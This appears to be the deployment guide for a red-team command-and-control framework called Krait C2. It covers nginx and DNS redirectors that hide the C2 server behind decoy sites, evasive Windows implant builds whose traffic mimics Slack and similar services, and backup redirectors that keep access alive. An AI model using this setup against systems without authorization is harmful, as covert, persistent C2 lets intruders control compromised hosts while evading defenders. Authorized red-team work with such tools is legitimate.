Deployment Guide
Production setup, redirectors, TLS, multi-server topologies
Production setup for Krait C2: redirectors, TLS, multi-server topologies, and hardening.
Architecture Overview
Target Network Internet Operator Network
┌──────────┐ HTTPS ┌──────────────┐ HTTPS ┌──────────────┐
│ Agent │ ──────────────→│ Redirector │─────────────→│ C2 Server │
│ │ │ (nginx) │ │ (Krait) │
└──────────┘ └──────────────┘ └──────┬───────┘
│ API :50051
┌─────┴──────┐
│ CLI / Web │
│ / MCP │
└────────────┘
The redirector sits between agents and the C2 server. Agents never connect directly to the C2 — the redirector handles TLS termination, URI filtering, and geo-blocking.
Quick Production Setup
1. Generate TLS Certificates
# Self-signed (lab)
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout server.key -out server.crt \
-subj "/CN=krait.local"
# Let's Encrypt (production — run on redirector)
certbot certonly --standalone -d c2.yourdomain.com
2. Create Operator Accounts
./server/krait-server operator add adam
./server/krait-server operator add caro
3. Start the C2 Server
./server/krait-server server start --port 8443 --profile slack --ui
The --profile flag accepts any built-in profile name (slack, teams, onedrive, gdrive, github, npm, discord, docker-registry). Omit it for the default profile. Use --profile multiple times for multi-profile listeners.
4. Generate the Redirector Config
Use the operator Web UI Redirector page or the CLI redirector command to generate configs. The server automatically includes the active traffic profile’s URI paths in the generated config.
From the CLI:
krait> redirector nginx --backend https://<C2_IP>:8443 \
--decoy https://www.microsoft.com \
--server-name c2.yourdomain.com \
--ssl-cert /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem \
--ssl-key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem \
--output redirector/krait.conf
From the Web UI: Navigate to Redirector → select nginx → fill in backend, decoy, server name, and TLS paths → download the config file.
5. Deploy the Redirector
# On the redirector host
sudo cp redirector/krait.conf /etc/nginx/conf.d/krait.conf
sudo nginx -t && sudo nginx -s reload
6. Build the Implant
Use the operator Web UI Build page or the CLI build command.
From the CLI:
krait> build windows -s <REDIRECTOR_DOMAIN> -p 8443 --external-port 443 \
-i 60 -j 20 --all-evasion --profile slack
From the Web UI: Navigate to Build → select Windows → set server, port, evasion flags, and profile → build and download.
--server points to the redirector, not the C2 server. --external-port 443 is what the agent connects to; the redirector proxies to the C2’s internal port.
Redirector Configuration
nginx Redirector
The redirector nginx command generates nginx configs that:
- Forward only valid C2 URI paths to the backend
- Return 301 to a decoy site for all other requests
- Trust
X-Forwarded-Forheaders (agent IP passed through to server) - Handle TLS termination
CLI options:
| Flag | Description |
|---|---|
--backend | C2 server URL (default: https://127.0.0.1:8443) |
--ssl-cert | TLS certificate path |
--ssl-key | TLS private key path |
--decoy | URL to redirect non-C2 traffic to |
--server-name | nginx server_name directive |
--listen-port | nginx listen port (default: 443) |
--webroot | Webroot path for Let’s Encrypt challenges |
--output | Output file path (prints to stdout if omitted) |
DNS Redirector
For DNS transport:
From the CLI:
krait> redirector dns --domain c2.example.com --backend <C2_IP> \
--zone --output redirector/
CLI options:
| Flag | Description |
|---|---|
--domain | DNS domain for the C2 channel (required) |
--backend | C2 server IP (required) |
--listen-port | Redirector listen port (default: 53) |
--backend-port | Teamserver DNS port |
--iface | Restrict to network interface |
--nftables | Use nftables instead of iptables |
--socat-only | Only generate socat systemd unit |
--zone | Also generate zone file |
--ns | NS server hostname (repeatable) |
--redirector-ip | Redirector public IP |
--output | Write files to directory |
Required DNS infrastructure:
- Domain with NS record:
c2.example.com NS ns1.example.com - A record:
ns1.example.com A <REDIRECTOR_IP> - socat/CoreDNS running on the redirector with the generated config
Traffic Profile Setup
When using traffic profiles, three components must use the same profile:
- Implant —
--profile slackinbuild(CLI or Web UI) - Redirector — generated config automatically matches the server’s active profile URIs
- Server —
--profile slackat server start
Mismatched profiles cause agents to go dark (redirector blocks non-matching URIs).
Multi-Server Topologies
Single Server (Lab)
Agent → C2 Server (HTTPS listener + API + web UI on same host)
Redirector + C2 (Standard Engagement)
Agent → Redirector (nginx, public IP) → C2 Server (private IP)
Multi-Redirector (Resilience)
Agent → Redirector A → C2 Server
Agent → Redirector B ↗
Build multiple implants with different --server values pointing to each redirector. Deploy both to the target. If one redirector is burned, the other maintains access.
Multi-Transport Pivot
Agent A (HTTPS) → C2 Server
Agent A ──SMB──→ Agent B (internal host)
Agent A ──TCP──→ Agent C (different subnet)
Server Hardening
Firewall Rules
# C2 server — only accept from redirector
iptables -A INPUT -p tcp --dport 8443 -s <REDIRECTOR_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
# API port — only local and operator IPs
iptables -A INPUT -p tcp --dport 50051 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -s <OPERATOR_VPN_RANGE> -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -j DROP
SSH Tunneling (Remote Operator Access)
If operators can’t reach the API port directly:
# On operator workstation
ssh -L 50051:localhost:50051 user@c2-server
# Then connect
./server/krait-server connect --server 127.0.0.1:50051 --user adam
Separate Processes
For production, run the server and web UI as systemd services:
# /etc/systemd/system/krait.service
[Unit]
Description=Krait C2 Server
After=network.target
[Service]
Type=simple
User=krait
WorkingDirectory=/opt/krait
ExecStart=/opt/krait/server/krait-server server start --port 8443 --ui
Restart=on-failure
[Install]
WantedBy=multi-user.target
Operational Checklist
Before going live:
- TLS certificates in place (not self-signed for production)
- Redirector deployed and tested (curl the decoy URL, verify redirect)
- Operator accounts created
- Traffic profile matching across implant, redirector, and server
- Firewall rules restricting C2 port to redirector only
- API port restricted to operator IPs
- Test implant successfully calls back through the full chain
- Event logging confirmed (
logcommand shows registration) - Backup redirector tested (if using multi-redirector)